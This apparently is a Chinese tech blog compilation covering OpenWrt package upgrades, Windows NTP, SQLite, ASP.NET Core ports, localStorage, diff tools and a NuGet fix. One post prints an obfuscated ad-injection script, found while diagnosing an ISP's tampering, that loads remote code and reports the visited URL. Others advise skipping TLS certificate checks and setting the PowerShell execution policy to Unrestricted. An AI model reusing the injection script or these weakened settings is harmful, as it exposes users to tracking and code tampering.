Openwrt 一次自动更新全部软件包

1.使用 opkg 命令更新

opkg update
opkg upgrade luci 
opkg list-upgradable | grep luci- | cut -f 1 -d ' ' | xargs opkg upgrade

在ssh下,先“opkg update”,获取更新。之后再更新“ luci-” 开头的包。如果 要全部无条件更新,就去掉过滤“ grep luci- |”

2 使用 opkg-upgrade.sh 更新(推荐)

https://github.com/tavinus/opkg-upgrade

使用sh脚本更新,需要 curl 或 wget,使用Https链接的话,还需要SSL支持。

注意:curl / wget 可能会因为缺少 SSL 证书而失败。
您可以使用以下命令选择忽略证书检查:

curl -k
wget --no-check-certificate

或者,您将需要修复您的安装。
请注意,SSL支持会占用相当多的存储空间。/etc/ssl/certs/ca-certificates.crt

#这应该足以使SSL工作:

opkg install ca-certificates openssl-util

#如果您仍有问题,这可能是一种解决方法:

mkdir -p -m0755 /etc/ssl/certs && curl -k -o /etc/ssl/certs/ca-certificates.crt -L http://curl.haxx.se/ca/cacert.pem
  • 安装到当前目录,使用./opkg-upgrade.sh 执行:
# 根据使用 wget curl ,是否SSL,选择对应命令执行。

# using wget with SSL
wget 'https://raw.githubusercontent.com/tavinus/opkg-upgrade/master/opkg-upgrade.sh' -O "opkg-upgrade.sh" && chmod 755 "opkg-upgrade.sh"

# using wget WITHOUT SSL
wget --no-check-certificate 'https://raw.githubusercontent.com/tavinus/opkg-upgrade/master/opkg-upgrade.sh' -O "opkg-upgrade.sh" && chmod 755 "opkg-upgrade.sh"

# using curl with SSL
curl -L 'https://raw.githubusercontent.com/tavinus/opkg-upgrade/master/opkg-upgrade.sh' -o "opkg-upgrade.sh" && chmod 755 "opkg-upgrade.sh"

# using curl WITHOUT SSL
curl -k -L 'https://raw.githubusercontent.com/tavinus/opkg-upgrade/master/opkg-upgrade.sh' -o "opkg-upgrade.sh" && chmod 755 "opkg-upgrade.sh"
# 执行更新
./opkg-upgrade.sh
  • (推荐)安装到系统(无需.sh扩展):/usr/sbin/opkg-upgrade
# 根据使用 wget curl ,是否SSL,选择对应命令执行。

# using wget with SSL
wget 'https://raw.githubusercontent.com/tavinus/opkg-upgrade/master/opkg-upgrade.sh' -O "/usr/sbin/opkg-upgrade" && chmod 755 "/usr/sbin/opkg-upgrade"

# using wget WITHOUT SSL
wget --no-check-certificate 'https://raw.githubusercontent.com/tavinus/opkg-upgrade/master/opkg-upgrade.sh' -O "/usr/sbin/opkg-upgrade" && chmod 755 "/usr/sbin/opkg-upgrade"

# using curl with SSL
curl -L 'https://raw.githubusercontent.com/tavinus/opkg-upgrade/master/opkg-upgrade.sh' -o "/usr/sbin/opkg-upgrade" && chmod 755 "/usr/sbin/opkg-upgrade"

# using curl WITHOUT SSL
curl -k -L 'https://raw.githubusercontent.com/tavinus/opkg-upgrade/master/opkg-upgrade.sh' -o "/usr/sbin/opkg-upgrade" && chmod 755 "/usr/sbin/opkg-upgrade"
# 执行更新
opkg-upgrade

将更新命令加入自定义菜单

可以先安装 luci-app-commands

opkg install luci-app-commands

安装后,就可在luci的系统菜单中

使用自定义命令进行更新,一键就直接执行,更方便!如下图

这样就可以在 luci 界面,使用opkg-upgrade一键更新所有软件包了!

Chrome 与 Flash 说再见

Adobe宣布计划在2020年底停止支持Flash。

20年来,Flash一直在帮助您塑造在网络上玩游戏、观看视频和运行应用程序的方式。但是在过去的几年里,flash已经不那么常见了。三年前,80%的桌面Chrome用户每天访问一个带有Flash的网站。今天的使用率只有17%,而且还在继续下降。

这一趋势表明,网站正在向比Flash更快、更节能的开放式Web技术转移。它们也更安全,因此在购物、银行或阅读敏感文档时更安全。它们也可以在移动和桌面上工作,所以你可以在任何地方访问你最喜欢的站点。

这些开放式Web技术在去年年底成为Chrome的默认体验,当时网站开始需要请求您的许可才能运行Flash。在接下来的几年里,Chrome将继续逐步淘汰Flash,首先是请求您允许在更多情况下运行Flash,最后在默认情况下禁用它。到2020年底,我们将把flash完全从chrome中删除。

如果你今天经常访问一个使用flash的网站,你可能会想知道这对你有何影响。如果网站迁移到开放式Web标准,除了不再看到在该网站上运行flash的提示外,您不应该注意到有什么不同。如果站点继续使用flash,并且您授予站点运行flash的权限,那么它将一直工作到2020年底。

为了确保网络准备好无闪存,需要与Adobe、其他浏览器和主要发行商密切合作。我们支持Adobe今天的声明,我们期待着与所有人合作,使网络变得更好。

Windows下 NTP时间服务器设置

NTP时间服务器
pool.ntp.org: public ntp time server : https://www.ntppool.org/zh/

pool.ntp.org 是一个以时间服务器的大虚拟集群为上百万的客户端提供可靠的 易用的 网络时间协议(NTP)服务的项目

NTP池正在为世界各地成百上千万的系统提供服务。 它是绝大多数主流Linux发行版和许多网络设备的默认“时间服务器”


国内NTP服务 http://ntp.org.cn/pool.php

设置

Windows 可以使用系统内置的ntp客户端: 以管理员权限在命令行运行如下指令:

w32tm /config /syncfromflags:manual /manualpeerlist:"0.pool.ntp.org 1.pool.ntp.org 2.pool.ntp.org 3.pool.ntp.org"

这在Windows 2003及之后的版本中被支持。 如果您使用旧版的Windows,您可以尝试如下指令:

net time /setsntp:"0.pool.ntp.org 1.pool.ntp.org 2.pool.ntp.org"

作为管理员,右键任务栏的时钟,选择“更改日期和时间设置…”,并且在“Internet时间”选项卡下输入服务器名也能达到同样的效果。

sqlite 简单手记

delete from TableName;  //清空数据 
update sqlite_sequence SET seq = 0 where name ='TableName';//自增长ID为0
更新删除时,如何插入有单引号(')的字符串,将所有单引号替换为两个单引号

sql = sql.Replace("'","''");

保存到SQLite数据库中时自动恢复为单引号,也就是说使用双单引号即可,例如:
INSERT INTO TableName VALUES('James''s Street');
插入数据库的是: James's Street 。

sqlite数据库在搜索的时候,一些特殊的字符需要进行转义, 具体的转义如下: 
     /   ->    //
     ‘   ->    ”
     [   ->    /[
     ]   ->    /]
     %   ->    /%
     &   ->    /&
        ->    /
     (   ->    /(
     )   ->    /)

Asp.Net core Linux 监听端口的设置

在linux测试跑.net core,默认端口是5000,5001. 需要修改

尝试有以下几种方式:

1. 在项目csproj文件在linux中,编辑Properties/launchSettings.json文件中的 “applicationUrl”: “http://*:5000;http://*:5050”

2.编辑Program,直接在代码里定义

public class Program
{
    public static void Main(string[] args)
    {
        var host = new WebHostBuilder()
            .UseKestrel()
            .UseContentRoot(Directory.GetCurrentDirectory())
            .UseIISIntegration()
            .UseStartup<Startup>()
            .UseUrls("http://*:5001/")
            .Build();

        host.Run();
    }
}

3.添加配置文件hosting.json,然后在Program中加载配置文件

public static void Main(string[] args)
{
    var config = new ConfigurationBuilder()
        .SetBasePath(Directory.GetCurrentDirectory())
        .AddJsonFile("hosting.json", true)
        .Build();

    var host = new WebHostBuilder()
        .UseKestrel(options => options.AddServerHeader = false)
        .UseConfiguration(config)
        .UseContentRoot(Directory.GetCurrentDirectory())
        .UseIISIntegration()
        .UseStartup<Startup>()
        .Build();

    host.Run();
}

4. 直接启动时增加参数,两种

在发布文件夹下直接加载dll:

dotnet WebApp1.dll --server.urls "http://*:5001;http://*:5002"

在项目文件下:

dotnet run --urls="http://*:5001/;http://*:5051/"

 

LocalStorage 本地存储

Cookie不多说了。

Web SQL Database实际上已经被废弃,而HTML5的支持的本地存储实际上变成了

Web Storage(Local Storage和Session Storage)与IndexedDB。

Web Storage使用简单字符串键值对在本地存储数据,方便灵活,但是对于大量结构化数据存储力不从心,IndexedDB是为了能够在客户端存储大量的结构化数据,并且使用索引高效检索的API。

sessionStorage和上文中提到的localStorage非常相识,方法也几乎一样:

非常通俗易懂的接口:

  • sessionStorage.getItem(key):获取指定key本地存储的值
  • sessionStorage.setItem(key,value):将value存储到key字段
  • sessionStorage.removeItem(key):删除指定key本地存储的值
  • sessionStorage.length是sessionStorage的项目数

sessionStorage与 localStorage 的异同

sessionStorage 和 localStorage 就一个不同的地方, sessionStorage数据的存储仅特定于某个会话中,也就是说数据只保持到浏览器关闭,当浏览器关闭后重新打开这个页面时, 之前的存储已经被清除。而 localStorage 是一个持久化的存储,它并不局限于会话。

使用 Web Storage(Local Storage和Session Storage)

首先自然是检测浏览器是否支持本地存储。在HTML5中,本地存储是一个window的属性,包括localStorage和sessionStorage,从名字应该可以很清楚的辨认二者的区别,前者是一直存在本地的,后者只是伴随着session,窗口一旦关闭就没了。二者用法完全相同,这里以localStorage为例。

if(window.localStorage){
alert(‘This browser supports localStorage’);
}else{
alert(‘This browser does NOT support localStorage’);
}

存储数据的方法就是直接给window.localStorage添加一个属性,例如:window.localStorage.a 或者 window.localStorage[“a”]。它的读取、写、删除操作方法很简单,是以键值对的方式存在的,如下:

localStorage.a = 3;//设置a为”3″
localStorage[“a”] = “sfsf”;//设置a为”sfsf”,覆盖上面的值
localStorage.setItem(“b”,”isaac”);//设置b为”isaac”
var a1 = localStorage[“a”];//获取a的值
var a2 = localStorage.a;//获取a的值
var b = localStorage.getItem(“b”);//获取b的值
localStorage.removeItem(“c”);//清除c的值

这里最推荐使用的自然是getItem()和setItem(),清除键值对使用removeItem()。如果希望一次性清除所有的键值对,可以使用clear()。另外,HTML5还提供了一个key()方法,可以在不知道有哪些键值的时候使用,如下:

var storage = window.localStorage;
function showStorage(){
for(var i=0;i<storage.length;i++){
//key(i)获得相应的键,再用getItem()方法获得对应的值
document.write(storage.key(i)+ ” : ” + storage.getItem(storage.key(i)) + “<br>”);
}
}

html5客户端本地存储之sessionStorage的实例页面

http://www.css88.com/demo/sessionStorage/

http://www.css88.com/demo/sessionStorage/index2.html

http://www.css88.com/demo/sessionStorage/index3.html

Web Storage Support Test

http://dev-test.nemikor.com/web-storage/support-test/

一些文件比对和合并的资料

(最近整理一下)

FC

(CMD命令行)

The fc command has been included in Microsoft operating systems since MS-DOS 3.3 and is included in all versions of Microsoft Windows.

C:\Users\Administrator>fc /?

比较两个文件或两个文件集并显示它们之间

的不同

FC [/A] [/C] [/L] [/LBn] [/N] [/OFF[LINE]] [/T] [/U] [/W] [/nnnn]
    [drive1:][path1]filename1 [drive2:][path2]filename2
FC /B [drive1:][path1]filename1 [drive2:][path2]filename2

  /A         只显示每个不同处的第一行和最后一行。
   /B         执行二进制比较。
   /C         不分大小写。
   /L         将文件作为 ASCII 文字比较。
   /LBn       将连续不匹配的最大值设置为指定
              的行数。
   /N         在 ASCII 比较上显示行数。
   /OFF[LINE] 不要跳过带有脱机属性集的文件。
   /T         不要将制表符扩充到空格。
   /U         将文件作为 UNICODE 文本文件比较。
   /W         为了比较而压缩空白(制表符和空格)。
   /nnnn      指定不匹配处后必须连续
              匹配的行数。
   [drive1:][path1]filename1
              指定要比较的第一个文件或第一个文件集。
   [drive2:][path2]filename2
              指定要比较的第二个文件或第二个文件集。

COMP

(CMD命令行)

A newer command, fc was added in DOS 3.3 which allows for line comparisons in addition to binary comparisons.

C:\Users\Administrator>comp /?

比较两个文件或两个文件集的内容。

COMP [data1] [data2] [/D] [/A] [/L] [/N=number] [/C] [/OFF[LINE]]

  data1      指定要比较的第一个文件的位置和名称。
   data2      指定要比较的第二个文件的位置和名称。
   /D         以十进制格式显示差异。
   /A         以 ASCII 字符显示差异。
   /L         显示不同的行数。
   /N=number  只比较每个文件中第一个指定的行数。
   /C         比较文件时 ASCII 字母不区分大小写。
   /OFF[LINE] 不要跳过带有脱机属性集的文件。

要比较文件集,请在 data1 和 data2 参数中使用通配符。

——————————-

GNU DiffUtils for Windows

(CMD命令行)

显示文件之间的差异

http://gnuwin32.sourceforge.net/packages/diffutils.htm

——————————-

Diff Text – The Online Compare Plain Text & Find Differences Web Page

http://www.diff-text.com/

WinMerge

(桌面程序)

Windows visual diff and merge for files and directories

https://sourceforge.net/projects/winmerge/

Selection Diff Tool

(Web程序)

Microsoft Office 2013 app which reports the differences between two blocks of plain text.

Note: This will not work with previous versions of Office.

https://store.office.com/zh-cn/app.aspx?assetid=WA103863850&ui=zh-CN&rs=zh-CN&ad=CN&appredirect=false

The XML Diff and Patch GUI Tool

https://msdn.microsoft.com/en-us/library/aa302295.aspx

解决NuGet程序包更新安装失败的错误

管理NuGet程序包 中更新程序包,出现:

Failed to initialize the PowerShell host. If your PowerShell execution policy setting is set to AllSigned, open the Package Manager Console to initialize the host first

1. Step

Open Windows PowerShell, run as Administrator

2. Step

Setting an execution policy to RemoteSigned or Unrestricted should work. It must be changed under an administrator mode via a PowerShell console. Be aware that changes will be applied according to the bit version of the PowerShell console, so 32bit or 64 bit. So if you want to install a package in Visual Studio (32 bit version) which requires a specific policy you should change settings of the policy via PowerShell (x86).

The command in PowerShell (as administrator) to set the policy to unrestricted (as noted by @Gabriel in the comments) is:

start-job { Set-ExecutionPolicy Unrestricted } -RunAs32 | wait-job | Receive-Job

OR

NuGet is using the 32 bit console, so it wont be affected by changes to the 64 bit console. Run the following script to make sure you are configuring the 32 bit console.

start-job { Set-ExecutionPolicy RemoteSigned } -RunAs32 | wait-job | Receive-Job

3. Step

Restart Visual Studio

————————————————————-

如果所有的政策是正确的,但安装包时,仍有错误

无法初始化PowerShell主机。如果你的PowerShell执行策略设置为使用AllSigned,打开包管理器控制台首先初始化主机。

解决方案卸载  NuGet包管理器 插件,并重新安装它。

解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】

一个多月就发现浏览器右下角会有时出现广告窗口。

查看源代码,发现head结束之前被加入一行js引用,

<script charset="utf-8" async="true" src="http://n.cosbot.cn/rb/i8.js">
</script>
</head>
(function(d){function $a(p){try{var x=d.getElementsByTagName("head")[0];var y=x.appendChild($s(p));setTimeout(function(){x.removeChild(y)},2000)}catch(e){}}function $c(n){return d.createElement(n)}function $s(p){var j=$c("script");j.src=p;j.async=true;j.type="text/javascript";return j}var amt=0;function $rn(){var ww=d.body.clientWidth;var hh=d.body.clientHeight;var u={j:"ht",c:"com.cn",q:"tp:",m:"b.",n:"wdzs",d:"i."};var be=u.j+u.q+"//"+u.d+u.n+u.m+u.c;var en=escape(window.location.href)+"&a="+Math.random()+"&w="+ww+"&h="+hh;if(top==this){if(ww<300||hh<40){amt+=1;if(amt<3){setTimeout($rn,1000)}else{$a(be+"/fmt8p/m.php?u="+en)}}else{$a(be+"/fmt8p/?u="+en)}}}setTimeout($rn,500)})(document);

最终地址:

*.wdzsb.com.cn/fmt?p/

继续阅读“解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】”

浏览器中自动补全的一处错误:ftp.so

几年来这个问题就一直存在。从注册ftp.so起发现的。

在Windows下,浏览器地址栏中输入不加HTTP协议的网址:“ftp.so”,回车后,浏览器总会把它自动修改为 “ftp://ftp.so/”。

在IE,Chrome,Opera,Edge,Firefox中,都测试,结果都是一样的。

先后给 Google Chrome,微软,Mozilla 等报告过问题,但从没收到过回应。

感觉所有浏览器的自动修正方法都是相同的,所以这也许是个某组织的问题比如:W3C.org。


更新备注:Chrome 2018年已经修正